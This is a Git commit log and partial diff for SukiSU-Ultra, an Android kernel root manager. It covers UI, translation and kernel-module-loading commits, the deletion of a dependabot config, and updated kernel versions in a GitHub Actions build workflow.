234 Commits

Author SHA1 Message Date
ShirkNeko
56b4664ec7 Optimized the UI of the slot selection dialog box, added separator lines and button styles, and improved the display logic of the current slot. 2025-04-27 22:37:56 +08:00
ShirkNeko
70f7c75a92 Add custom color and transparency settings to the top app bar 2025-04-27 20:32:17 +08:00
ShirkNeko
e414b4de92 Adding a localized message for a failed swipe 2025-04-27 20:27:29 +08:00
ShirkNeko
79e68f473f Update Chinese and English strings, change Anykernel3 related descriptions to generic Kernel descriptions. 2025-04-27 20:21:17 +08:00
ShirkNeko
6656604809 Add the function of obtaining and restoring the original slot, and display the current slot information in the slot selection dialog box
-It should be possible to fix the issue of selecting slot positions

Signed-off-by: ShirkNeko 109797057+ShirkNeko@users.noreply.github.com
2025-04-27 19:35:55 +08:00
ShirkNeko
85b4d11912 Improve the ui and function of the anykernel3 flashing interface.
- Add self-selected brushwrite A/B slot (not perfect)

Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-04-27 18:01:45 +08:00
ShirkNeko
7769a23f59 Opt the image editing dialog box, add full-screen zoom function, improve the panning limit to ensure the security of image transformation. 2025-04-27 14:02:16 +08:00
ShirkNeko
c442f43090 Add free adjustment of image position when selecting background
- Updated AGP version to 8.9.2.
- Added support for Android 16 (36).
- Replaced the new API and fixed some minor bugs.

Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-04-27 04:05:49 +08:00
WenHao2130
d73670bf43 [skip ci]: manager: update simplified chinese translation (#59)
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-26 15:42:08 +08:00
ShirkNeko
dd1967f0d0 Update the README file to include a thank you message to DARKWWEE. 2025-04-26 15:41:23 +08:00
ShirkNeko
e3d2fc64ac Update the minimum supported kernel version and standardize kernel-related constants to 12800. 2025-04-25 14:03:16 +08:00
ShirkNeko
e07f20bf29 [skip ci]: Update kpm module display logic, fix installed and uninstalled name display 2025-04-25 14:00:18 +08:00
ShirkNeko
34f216181f Expose the getSuSFSDaemonPath method to support the installation of the SuSFSD daemon. 2025-04-23 23:06:19 +08:00
ShirkNeko
8aef775474 Opt InfoCard component, add icon support, improve information presentation 2025-04-23 22:23:02 +08:00
ShirkNeko
f669ad92b6 Refactor Kpm.kt, optimize file type checking logic, add ELF file detection, simplify string command execution 2025-04-23 21:06:21 +08:00
ShirkNeko
cc0b272770 Modified Kpm file type validation and check module ID extraction logic
Fix the problem that the specified kpm module could not be deleted after uninstallation due to a mismatch between the file type and the actual module name.

Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-04-23 03:33:46 +08:00
ShirkNeko
9ea6de340d Refactor the namespace to com.sukisu.ultra, add IKsuInterface and LatestVersionInfo data classes, and remove obsolete classes and methods. 2025-04-23 02:24:55 +08:00
Qumolama.d
be37f8a2a3 Update English translation and remove unused keys (#56)
* Remove untranslatable keys

* Fix English translations

* Remove unused string entry

---------

Co-authored-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-04-22 13:39:28 +08:00
Re*Index. (ot_inc)
8a12fac39f [skip ci]: fix typo & update README (#55)
* Update strings.xml

* fix typo

* Update README-en.md

* Update README-ja.md
2025-04-22 13:37:17 +08:00
Re*Index. (ot_inc)
0242fe12e3 Update Japanese & fix text(#54) 2025-04-21 20:15:08 +08:00
ShirkNeko
acf2e1a5ec Update KSU_GIT_VERSION to use the master branch count and change the KernelSU manager name to SukiSU 2025-04-21 17:33:29 +08:00
ShirkNeko
626db4be56 [skip ci]: Adding a check for LKM mode to the KPM info card 2025-04-21 09:20:38 +08:00
ShirkNeko
5941fa1ec7 manager: hide root-related features if kernelsu version null (#71)
Related PR:
tiann#2483

Also attempting to address this:
tiann#2483 (comment)

Co-authored-by: rsuntk <rsuntk@yukiprjkt.my.id>
Co-authored-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-04-20 22:30:23 +08:00
ShirkNeko
1dd8651a1a Remove unused functions and data classes and optimize code structure; update string resources to support new features 2025-04-20 22:01:35 +08:00
ShirkNeko
33dd0ca16b Add check for GKI version and KERNEL_TYPE setting 2025-04-19 21:44:41 +08:00
Re*Index. (ot_inc)
dfe7852c25 fix typo (#50)
* Update Japanese!

* Fix typo

* Fix typo 2

* Update strings.xml

* Update strings.xml

* Update Japanese.

* Update strings.xml

* Add Japanese README

* Update README-ja.md

* Update README-ja.md

* Update README-ja.md

* Update README-ja.md

* Update README-ja.md

* Update README-en.md

* Update README-ja.md

* Update README-en.md

* Update README.md

* Update README-ja.md

* fix typo

* Update strings.xml
2025-04-19 16:03:25 +08:00
Re*Index. (ot_inc)
abe6184f63 Update READMEs. (#49)
* Update Japanese!

* Fix typo

* Fix typo 2

* Update strings.xml

* Update strings.xml

* Update Japanese.

* Update strings.xml

* Add Japanese README

* Update README-ja.md

* Update README-ja.md

* Update README-ja.md

* Update README-ja.md

* Update README-ja.md

* Update README-en.md

* Update README-ja.md

* Update README-en.md

* Update README.md

* Update README-ja.md
2025-04-18 20:16:31 +08:00
Re*Index. (ot_inc)
e8afb2143b Japanese Translate (#48)
* Update Japanese!

* Fix typo

* Fix typo 2

* Update strings.xml

* Update strings.xml

* Update Japanese.

* Update strings.xml

* Add Japanese README

* Update README-ja.md

* Update README-ja.md
2025-04-17 17:23:26 +08:00
ShirkNeko
7e1c363bad Add module uninstallation confirmation dialog and file type validation message 2025-04-16 14:36:27 +08:00
Kousei
bcf6809deb Add files via upload (#47) 2025-04-16 13:21:43 +08:00
ShirkNeko
bce5f6cf61 Fix GitHub link in About card 2025-04-15 15:09:36 +08:00
ShirkNeko
5495eebb38 Update version number 2025-04-14 20:18:52 +08:00
ShirkNeko
d255801666 Update version number 2025-04-14 20:18:24 +08:00
ShirkNeko
44f2601126 Update version number 2025-04-14 20:18:10 +08:00
ShirkNeko
3a7366c4bc Update version number 2025-04-14 20:18:04 +08:00
ShirkNeko
5da289714d Update version number 2025-04-14 20:17:51 +08:00
ShirkNeko
a18d718744 Update version number 2025-04-14 20:17:44 +08:00
ShirkNeko
c90fc461d9 Update version number 2025-04-14 20:17:37 +08:00
ShirkNeko
e80fbe8934 Update version number 2025-04-14 20:17:32 +08:00
ShirkNeko
e0650ade4f Update version number 2025-04-14 20:17:16 +08:00
ShirkNeko
378b8458f2 Opt device disabling logic in HomeScreen 2025-04-14 19:30:30 +08:00
ShirkNeko
182028d9ea Updating the downloader to use the new GitHub publishing interface 2025-04-14 19:06:54 +08:00
ShirkNeko
0c3b8e7610 1 2025-04-14 18:46:51 +08:00
ShirkNeko
332fdcd2a7 Fix KPM module loading calls to explicitly use namespaces 2025-04-14 15:55:35 +08:00
ShirkNeko
aa20d04d3a Refactoring KPM module loading logic, removing existing KPM loading functions, simplifying code and enhancing error handling 2025-04-14 15:51:47 +08:00
ShirkNeko
949106bc09 Refactoring KPM module loading logic, adding modification event handling, improving error handling 2025-04-14 15:39:43 +08:00
ShirkNeko
67babc2858 Enhanced KPM module loading logic, added filename validation and error handling 2025-04-14 15:35:11 +08:00
ShirkNeko
d087ec510e Ksud: refactor KPM event handling logic, add error handling and ensure KPM catalog exists 2025-04-14 15:26:30 +08:00
gggggdw
c2ed3da87c Update Engish translation (#46) 2025-04-14 14:39:04 +08:00
ShirkNeko
f2d159f732 Updated README file to add KPM support information and remove duplicate feature descriptions 2025-04-14 14:38:27 +08:00
ShirkNeko
468fc2207d Fixed integration note on susfs in README.md 2025-04-14 02:05:34 +08:00
Qumolama.d
eced8bae82 Fix typos and translations in README.md and README-en.md (#23)
* Fix typos in README.md

* Fix various translation error in README-en.md

* Update links in README-en.md
2025-04-14 02:04:35 +08:00
Wang Han
e61ecb3963 Fix opuls -> oplus typo (#2536) 2025-04-13 18:14:27 +08:00
Kousei
304f4f8b2c Update Vietnamese language translation (#44)
* Add files via upload

* Add files via upload
2025-04-13 16:00:30 +08:00
ShirkNeko
48888087e1 Fix branch checking in build-manager.yml by changing 'susfs' to 'main' 2025-04-13 15:41:33 +08:00
crazymrli
75a70e70be Merge pull request #43 from ShirkNeko/dev
Dev
2025-04-13 15:25:59 +08:00
liankong
cf825f912c 添加KPM模板说明 2025-04-13 15:22:22 +08:00
liankong
1944a49fd8 添加super_access对task_struct的支持 2025-04-13 14:41:06 +08:00
liankong
657f343f5c 添加super_access对task_struct的支持 2025-04-13 14:18:33 +08:00
ShirkNeko
74bb90b3d8 Update build-lkm.yml to force uploading inputs to be required, default value changed to true 2025-04-13 02:26:26 +08:00
Kousei
8bf9828c80 Add files via upload (#42) 2025-04-13 01:43:55 +08:00
ShirkNeko
06324def38 更新super_access.c to remove redundant macro definitions and optimize conditional compilation; use resource strings instead of hard-coded text in MoreSettings.kt; add theme color string resource in strings.xml 2025-04-13 01:33:40 +08:00
ShirkNeko
70259a5ec5 清理super_access.c中的多余空行 2025-04-12 17:00:14 +08:00
ShirkNeko
a63057c594 Merge branch 'dev' into main 2025-04-12 16:55:20 +08:00
ShirkNeko
48d5270611 Add super_access function to support dynamic access to structures and members 2025-04-12 16:52:13 +08:00
ShirkNeko
712d0f3342 更新super_access.c以支持不同内核版本的结构体成员定义 2025-04-12 16:29:13 +08:00
ShirkNeko
d6084aeca1 在super_access.c中添加对linux/version.h的引用,并定义KERNEL_VERSION_6_6宏,以支持不同内核版本的条件编译 2025-04-12 16:09:13 +08:00
ShirkNeko
562b9624d7 移除对linux/nsproxy.h的引用,并添加对../fs/mount.h的引用 2025-04-12 15:49:00 +08:00
ShirkNeko
a68d5e8bbe 在super_access.c中添加对linux/nsproxy.h的引用 2025-04-12 15:02:22 +08:00
ShirkNeko
d45aa8197e Remove unnecessary header file fs/mount.h and use linux/mount.h instead. 2025-04-12 14:54:10 +08:00
ShirkNeko
314d3ef97a 更新Makefile以使用super_access.o替代super_access.c 2025-04-12 14:44:50 +08:00
liankong
e3750ccd51 完善super_access 2025-04-12 10:35:08 +08:00
liankong
a712efe9d8 添加super_access机制 2025-04-12 00:34:37 +08:00
ShirkNeko
2266362e24 Changing the package name 2025-04-12 00:33:46 +08:00
ShirkNeko
b7056b5baa Changing the package name 2025-04-12 00:33:29 +08:00
liankong
8bd07bf56c Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-04-11 15:19:48 +08:00
liankong
569183efe9 添加super_access机制 2025-04-11 15:19:18 +08:00
crazymrli
937cf25e9b Merge pull request #38 from ShirkNeko/main
Merge to dev
2025-04-11 15:17:01 +08:00
Kousei
e2b6617577 Add String-vi (#36)
Add Vietnamese language translation
2025-04-10 23:42:28 +08:00
Re*Index. (ot_inc)
8323d6394b Fix Japanese Translate! (#35)
* Update Japanese!

* Fix typo

* Fix typo 2

* Update strings.xml

* Update strings.xml
2025-04-10 23:39:02 +08:00
Re*Index. (ot_inc)
e31b892a20 Update Japanese Translate! (#34)
* Update Japanese!

* Fix typo
2025-04-10 15:48:24 +08:00
ShirkNeko
65b1518e26 Opt KPM module installation to support URL-encoded filenames and extract module IDs for dynamically constructed names.
This will fix the flashback issue due to path issue

Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-04-10 01:25:59 +08:00
ShirkNeko
865dbd3799 feat: Load Existing KPM Modules on KPM Monitor Startup 2025-04-08 19:03:29 +08:00
ShirkNeko
7de9d7967a Add embedded and load-optimized KPM module installation and uninstallation prompt messages 2025-04-08 18:56:14 +08:00
ShirkNeko
aa2d2454e1 feat: 引入anyhow库以增强错误处理能力 2025-04-07 22:33:45 +08:00
ShirkNeko
b850336872 feat: Optimize KPM file processing logic, use is_some_and method to simplify extension checking, and enhance readability and stability of event processing. 2025-04-07 22:28:22 +08:00
ShirkNeko
138dec35c7 feat: Add KPM module management function, support loading, unloading and deleting all KPM modules. 2025-04-07 22:13:21 +08:00
ShirkNeko
569fffa962 feat: 引入notify库以支持KPM目录的文件监控 2025-04-07 21:40:25 +08:00
ShirkNeko
2a283e6793 feat: 修复unload_kpm函数的定义,添加缺失的fn关键字 2025-04-07 21:35:44 +08:00
ShirkNeko
73a7ba3ac9 feat: 将KPM相关函数公开以支持外部调用 2025-04-07 21:32:41 +08:00
ShirkNeko
c0c4ea9f86 feat: 引入KPM模块以支持文件系统数据处理 2025-04-07 21:26:08 +08:00
ShirkNeko
a13179cd09 feat: 添加KPM模块以支持KPM相关功能 2025-04-07 21:21:36 +08:00
ShirkNeko
de089b7b73 feat: Adding a KPM monitor to handle KPM file creation and deletion events 2025-04-07 21:18:14 +08:00
ShirkNeko
1b700fb8e0 Merge pull request #33 from ShirkNeko/dev
增加了两个必要的兼容函数,以确保能够运行Peekaboo.KPM
2025-04-07 19:48:03 +08:00
liankong
f0febf13f2 增加了两个必要的兼容函数,以确保能够运行Peekaboo.KPM 2025-04-07 19:43:06 +08:00
ShirkNeko
a002967a92 Refactor dialog implementation, replace ListDialog with AlertDialog to optimize user interaction experience.
This will improve fixing KMI and restoring init_boot image style issues
2025-04-07 16:56:40 +08:00
ShirkNeko
1167b20d89 Merge pull request #32 from ShirkNeko/dev 2025-04-07 15:40:48 +08:00
ShirkNeko
297ff3ae90 Dev (#31)
* 添加安装工具类,并增加把kpmmgr安装到/data/adb/ksu/bin的功能,方便模块调用

* Update README

* Update README

---------

Co-authored-by: liankong <xhsw.new@qq.com>
2025-04-07 15:38:04 +08:00
liankong
a39e2ce15a Update README 2025-04-07 15:36:46 +08:00
liankong
78eda275d6 Update README 2025-04-07 15:35:21 +08:00
ShirkNeko
1fce0fd77d 添加安装工具类,并增加把kpmmgr安装到/data/adb/ksu/bin的功能,方便模块调用 (#30)
Co-authored-by: liankong <xhsw.new@qq.com>
2025-04-07 15:17:46 +08:00
liankong
c942393f21 添加安装工具类,并增加把kpmmgr安装到/data/adb/ksu/bin的功能,方便模块调用 2025-04-07 15:09:05 +08:00
ShirkNeko
040cc30e73 manager: Updates the sub-levels and patch levels of the Android version 2025-04-06 13:54:57 +08:00
ShirkNeko
6b75ffc928 Delete .github/dependabot.yml 2025-04-06 00:24:46 +08:00
WenHao2130
a7f1b21f91 manager: move more_settings_simplicity_mode to custom_settings (#28)
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-05 15:28:09 +08:00
WenHao2130
c8f7d9d5bc manager: beta -> Beta (#27)
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-05 11:46:41 +08:00
WenHao2130
2520d45dc4 manager: add some animation (#26)
Signed-off-by: WenHao2130 <98936399+WenHao2130@users.noreply.github.com>
2025-04-05 02:59:25 +08:00
WenHao2130
8bdf8d98c3 manager: allow hide susfs status information
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-04 21:32:06 +08:00
WenHao2130
04025f3d32 manager: allow hide some other information
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-04 21:32:06 +08:00
ShirkNeko
4c7ed9c8ee 修正 SukiSU Ultra 展望字符串中的空格格式 2025-04-04 18:01:57 +08:00
ShirkNeko
c36f8b0df3 Opt the transparency slider display logic with AnimatedVisibility and update the formatting in the Chinese string resource.
Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-04-04 17:51:27 +08:00
WenHao2130
5ccec93940 manager: Use AnimatedVisibility for Exclude Modifications SwitchItem
Co-authored-by: Light summer <93428659+lightsummer233@users.noreply.github.com>
Co-authored-by: WenHao2130 <WenHao2130@outlook.com>
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-04 17:24:36 +08:00
ShirkNeko
14b15e18f3 Update README.md 2025-04-04 15:49:21 +08:00
ShirkNeko
3e6f3b4d80 Merge pull request #22 from WenHao2130/main
ksud: update banner
2025-04-04 15:04:48 +08:00
WenHao2130
470b3106cb ksud: update banner
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-04 15:00:55 +08:00
ShirkNeko
e0074bc3ab Docs: simplify susfs branch usage instructions, remove redundant information 2025-04-04 14:27:07 +08:00
ShirkNeko
8d04ecdc52 Adjust card transparency and shadow settings to improve visualization 2025-04-04 13:44:21 +08:00
ShirkNeko
c83b1e88b9 Merge pull request #19 from ShirkNeko/dev
Dev
2025-04-03 23:34:01 +08:00
ShirkNeko
0446cc499e Merge branch 'main' into dev 2025-04-03 23:33:04 +08:00
ShirkNeko
8a6507e834 Manager: Add clean mode switch and option to hide kernel version number 2025-04-03 23:23:05 +08:00
ShirkNeko
09893b9472 Merge pull request #18 from WenHao2130/main
manager: optimize layout
2025-04-03 16:07:38 +08:00
WenHao2130
13d2290205 manager: optimize layout
Signed-off-by: WenHao2130 <WenHao2130@outlook.com>
2025-04-03 15:59:00 +08:00
ShirkNeko
46e4c85563 Add missing package names 2025-04-02 22:58:13 +08:00
ShirkNeko
d925036bd6 Optimize the error handling logic for loading and unloading modules, this will fix the file type error, and more detail handling-2 2025-04-02 17:59:59 +08:00
ShirkNeko
fbf2799674 Opt the error handling logic for loading and unloading modules, this will fix the file type error, and more detail handling 2025-04-02 17:59:29 +08:00
liankong
12c7558b91 给WebUI添加对KPM的操控支持 2025-04-02 14:03:50 +08:00
ShirkNeko
d55af76260 Optimize the error handling logic for loading and unloading modules, this will fix the file type error, and more detail handling-2 2025-04-02 00:36:08 +08:00
ShirkNeko
e4c70e2efb Opt the error handling logic for loading and unloading modules, this will fix the file type error, and more detail handling 2025-04-02 00:35:55 +08:00
ShirkNeko
a971fee132 Revert "Add KPM module count display to the main page and update related string resources"
This reverts commit a45e0f78ef.
2025-04-01 17:27:51 +08:00
ShirkNeko
a45e0f78ef Add KPM module count display to the main page and update related string resources 2025-04-01 17:24:13 +08:00
ShirkNeko
bf07dcb9ea Merge pull request #14 from ShirkNeko/dev
Add input dialogs to the KPM module to optimize control logic and dis…
2025-04-01 17:05:09 +08:00
ShirkNeko
e5f5b8f831 Add input dialogs to the KPM module to optimize control logic and display Snackbar prompts for operation results. 2025-04-01 17:04:00 +08:00
ShirkNeko
a80513fc50 Merge pull request #13 from ShirkNeko/dev
Dev
2025-04-01 16:18:17 +08:00
ShirkNeko
f71de1742a 优化KPM模块列表的获取逻辑,添加定时刷新功能,并调整空状态显示 2025-04-01 16:16:56 +08:00
ShirkNeko
57c65fdcda 移除调试签名配置,优化KPM版本显示逻辑,添加KPM控制成功和失败的提示字符串 2025-04-01 16:09:18 +08:00
ShirkNeko
0a9cf5f9aa Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-04-01 15:56:40 +08:00
ShirkNeko
08fdf2bdad 为KPM模块添加控制功能,显示操作成功或失败的Snackbar提示,并优化模块信息获取逻辑 2025-04-01 15:56:30 +08:00
liankong
690c6bac38 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-04-01 15:54:03 +08:00
liankong
af81308097 修复获取不到完整信息的bug 2025-04-01 15:53:58 +08:00
ShirkNeko
90b79f5c04 将KPM模块的Snackbar持续时间从长改为短,以改善用户体验 2025-04-01 15:04:09 +08:00
liankong
0c5dcec7bc 尝试修复KPM信息解析 2025-04-01 14:57:22 +08:00
ShirkNeko
a30dfbc15d 优化KPM模块加载和卸载逻辑,改进错误处理,增强模块信息获取功能 2025-04-01 14:34:24 +08:00
ShirkNeko
52f3335977 Merge pull request #12 from ShirkNeko/dev
Dev
2025-04-01 13:56:08 +08:00
liankong
c8b3e953ad Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-04-01 12:29:06 +08:00
liankong
e9d0526e1b 1 2025-04-01 12:28:59 +08:00
ShirkNeko
408c3be675 优化Kpm模块相关函数的返回类型,改为Boolean或Int以提高可读性和准确性 2025-04-01 02:40:58 +08:00
ShirkNeko
f67f16733f 优化KPM模块加载逻辑,更新相关字符串资源,调整KPM版本显示条件 2025-03-31 23:22:03 +08:00
ShirkNeko
25a173ad7b Merge pull request #8 from ShirkNeko/dev
Dev
2025-03-31 22:34:09 +08:00
ShirkNeko
75ec88f7a7 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-31 22:33:23 +08:00
ShirkNeko
e9c5ffb430 优化HomeScreen,移除KPM状态检查,调整ContributionCard显示逻辑 2025-03-31 22:33:20 +08:00
ShirkNeko
cb2cdaed12 删除KernelConfigUtils.kt文件 2025-03-31 22:32:57 +08:00
liankong
029c7f1e2a Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-31 22:32:48 +08:00
liankong
5a8d6895fa 添加加载成功提示 2025-03-31 22:32:42 +08:00
ShirkNeko
bb11e23006 Merge pull request #7 from ShirkNeko/dev
Dev
2025-03-31 22:12:28 +08:00
ShirkNeko
37b00d49c8 添加KPM状态检查功能,并更新相关UI文本 2025-03-31 22:11:52 +08:00
liankong
8055aed507 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-31 20:28:31 +08:00
liankong
e7cef05c6a 修复 2025-03-31 20:28:26 +08:00
ShirkNeko
313746b578 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-31 20:27:40 +08:00
ShirkNeko
a7c557222c 修复Makefile中KPM状态信息的重复输出 2025-03-31 20:27:28 +08:00
liankong
9c902fb264 2 2025-03-31 20:24:56 +08:00
liankong
079f74d960 更改返回值处理方式 2025-03-31 19:47:22 +08:00
liankong
00d7de5276 1 2025-03-31 19:07:07 +08:00
liankong
3e928365de 1 2025-03-31 18:51:20 +08:00
liankong
47ba174fb1 尝试支持clang关闭优化 2025-03-31 18:31:21 +08:00
liankong
9446296daa 尝试禁用对壳函数的优化 2025-03-31 18:19:55 +08:00
liankong
7175a6fa7d Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-31 18:08:20 +08:00
liankong
1b06f7d317 关掉所有对壳函数的优化 2025-03-31 18:08:09 +08:00
ShirkNeko
c739bf6bfb 更新应用名称为 SukiSU Ultra,并修改相关提示信息为 SukiSU beta版管理器 2025-03-31 17:30:51 +08:00
liankong
dec9a72b41 增加壳函数信息打印 2025-03-31 17:17:21 +08:00
liankong
593cbaa067 添加壳函数防止被inline优化掉 2025-03-31 16:55:51 +08:00
liankong
fb8906e371 4 2025-03-31 16:19:52 +08:00
liankong
df943250ac 3 2025-03-31 16:07:29 +08:00
liankong
5a522a1489 kpmmgr 2025-03-31 16:01:22 +08:00
liankong
0b0d64b9d0 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-31 16:00:21 +08:00
liankong
18876e8a69 修复kpmmgr 2025-03-31 16:00:09 +08:00
ShirkNeko
b668378e23 重命名函数并更新命令以获取KPM版本信息 2025-03-31 15:52:57 +08:00
liankong
9de2c09a27 更新kpmmgr 2025-03-31 15:40:28 +08:00
liankong
6b3d2bef12 1 2025-03-31 15:22:30 +08:00
liankong
344ed41bc7 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-31 15:13:24 +08:00
liankong
2e711c3ac9 3 2025-03-31 15:13:13 +08:00
ShirkNeko
1bf4486cf1 Merge pull request #6 from ShirkNeko/dev
Dev
2025-03-31 14:53:34 +08:00
ShirkNeko
cb116286ed Manager: Fix the problem that the contrast of key color is too light 2025-03-31 14:50:27 +08:00
ShirkNeko
7f0ae95dfb Improve font color blending and contrast in dark mode.
Fix login issue (#19).

Modify styles for more settings.

Do not show the status of susfs when using lkm mode.

Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-03-31 14:50:20 +08:00
ShirkNeko
fe7ec9dcf5 docs: update README to clarify branch usage and support for non-GKI devices 2025-03-31 14:50:07 +08:00
ShirkNeko
d88eccdda3 docs: add acknowledgment for yspbwx2010's support 2025-03-31 14:49:53 +08:00
liankong
78fe01d9a4 2 2025-03-31 14:30:43 +08:00
liankong
60cb41c76b 1 2025-03-31 14:04:04 +08:00
liankong
af78f3bac4 转变为仅在内核留下Stub在外部加载KPM 2025-03-31 13:55:48 +08:00
liankong
fff86dcc8d 4 2025-03-30 21:06:56 +08:00
liankong
5ec053ca34 3 2025-03-30 20:39:23 +08:00
liankong
e9f1631b06 根据KP修复 2025-03-30 20:29:43 +08:00
ShirkNeko
3705993330 Merge pull request #5 from ShirkNeko/dev
Dev
2025-03-30 20:21:37 +08:00
liankong
3db338da3e 2 2025-03-30 20:10:50 +08:00
liankong
d126d0f5b8 1 2025-03-30 20:03:40 +08:00
liankong
549adebb30 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-30 19:56:18 +08:00
liankong
40bada35c6 尝试修复 2025-03-30 19:56:04 +08:00
ShirkNeko
074903a299 更新支持的非官方管理器信息,添加 udochina 2025-03-30 19:50:14 +08:00
ShirkNeko
328bee94e5 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-30 19:45:12 +08:00
ShirkNeko
0db25f14f1 添加 KPM 状态信息输出,并更新支持的非官方管理器信息 2025-03-30 19:45:10 +08:00
liankong
877e4f9416 修复调用错误 2025-03-30 19:42:09 +08:00
liankong
8b3e864ffa Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-30 19:38:50 +08:00
liankong
5f5f677b7b 修复 2025-03-30 19:38:19 +08:00
ShirkNeko
3933d83d3e 更新 KPM 配置选项名称为 SukiSU,并修改帮助信息以反映新功能和潜在影响 2025-03-30 19:37:14 +08:00
liankong
4abd35fb44 10 2025-03-30 19:27:27 +08:00
liankong
e68afb04eb 9 2025-03-30 19:18:38 +08:00
liankong
bf2be96b29 8 2025-03-30 19:17:42 +08:00
liankong
b0b5048b01 7 2025-03-30 18:57:51 +08:00
liankong
aff69af690 6 2025-03-30 18:56:28 +08:00
liankong
c1d156cd6b 5 2025-03-30 18:50:33 +08:00
liankong
e58e00be9d Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-30 18:36:01 +08:00
liankong
440fe972f4 4 2025-03-30 18:35:47 +08:00
ShirkNeko
e24588b961 Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-30 18:31:09 +08:00
ShirkNeko
57c8d69e83 Manager: simplify and fix SUSFS version display errors
Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-03-30 18:30:53 +08:00
liankong
79c0bebcf5 3 2025-03-30 18:30:44 +08:00
ShirkNeko
321c9c20d5 Manager: simplify and fix SUSFS version display errors
Signed-off-by: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com>
2025-03-30 18:30:04 +08:00
liankong
f6134b47da 2 2025-03-30 18:25:40 +08:00
liankong
8c282b28a0 1 2025-03-30 18:24:56 +08:00
liankong
656cd11876 根据KP修复 2025-03-30 18:10:14 +08:00
liankong
5e77c08872 尝试修复: 内存段缓存/权限问题? 2025-03-30 17:56:53 +08:00
liankong
1090f64117 修复符号引用问题 2025-03-30 17:32:35 +08:00
liankong
470aaa29dc 兼容修复 2025-03-30 17:21:33 +08:00
liankong
c6664af45b 修复 2025-03-30 17:15:25 +08:00
liankong
d6b0ce2565 修复堆栈支持 2025-03-30 17:09:51 +08:00
liankong
770c9632ae 添加panic时打印出对应KPM信息的情况 2025-03-30 16:52:44 +08:00
liankong
cd60773d73 修复编译规则 2025-03-30 16:20:35 +08:00
liankong
06cdd92129 BypassCFI 2025-03-30 16:19:36 +08:00
liankong
315df33bd6 添加跳过CFI检查的机制 2025-03-30 16:14:23 +08:00
liankong
f990bda4e5 绕过CFI限制 2025-03-30 15:37:09 +08:00
liankong
b755ad3602 2 2025-03-30 15:22:40 +08:00
liankong
b060b2827e 1 2025-03-30 15:13:16 +08:00
liankong
73493b288f 按照KernelPatch原代码修复 2025-03-30 14:58:08 +08:00
liankong
87640fb824 3 2025-03-30 02:56:54 +08:00
liankong
fb0a48f9db Merge branch 'dev' of https://github.com/ShirkNeko/SukiSU-Ultra into dev 2025-03-30 02:51:30 +08:00
liankong
acc8670aa9 2 2025-03-30 02:51:20 +08:00
106 changed files with 4626 additions and 2870 deletions

View File

@@ -1,28 +0,0 @@
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: daily
groups:
actions:
patterns:
- "*"
- package-ecosystem: cargo
directory: userspace/ksud
schedule:
interval: daily
allow:
- dependency-type: "all"
groups:
crates:
patterns:
- "*"
- package-ecosystem: gradle
directory: manager
schedule:
interval: daily
groups:
maven:
patterns:
- "*"

View File

@@ -3,9 +3,9 @@ on:
workflow_call: workflow_call:
inputs: inputs:
upload: upload:
required: false required: true
type: boolean type: boolean
default: false default: true
description: "Whether to upload to branch" description: "Whether to upload to branch"
secrets: secrets:
# username:github_pat # username:github_pat
@@ -14,9 +14,9 @@ on:
workflow_dispatch: workflow_dispatch:
inputs: inputs:
upload: upload:
required: false required: true
type: boolean type: boolean
default: false default: true
description: "Whether to upload to branch" description: "Whether to upload to branch"
jobs: jobs:
build-lkm: build-lkm:
@@ -27,20 +27,20 @@ jobs:
sub_level: 233 sub_level: 233
os_patch_level: 2025-02 os_patch_level: 2025-02
- version: "android13-5.10" - version: "android13-5.10"
sub_level: 228 sub_level: 234
os_patch_level: 2025-01 os_patch_level: 2025-03
- version: "android13-5.15" - version: "android13-5.15"
sub_level: 170 sub_level: 178
os_patch_level: 2025-01 os_patch_level: 2025-03
- version: "android14-5.15" - version: "android14-5.15"
sub_level: 170 sub_level: 178
os_patch_level: 2025-01 os_patch_level: 2025-03
- version: "android14-6.1" - version: "android14-6.1"
sub_level: 128 sub_level: 129
os_patch_level: 2025-03 os_patch_level: 2025-04
- version: "android15-6.6" - version: "android15-6.6"
sub_level: 77 sub_level: 82
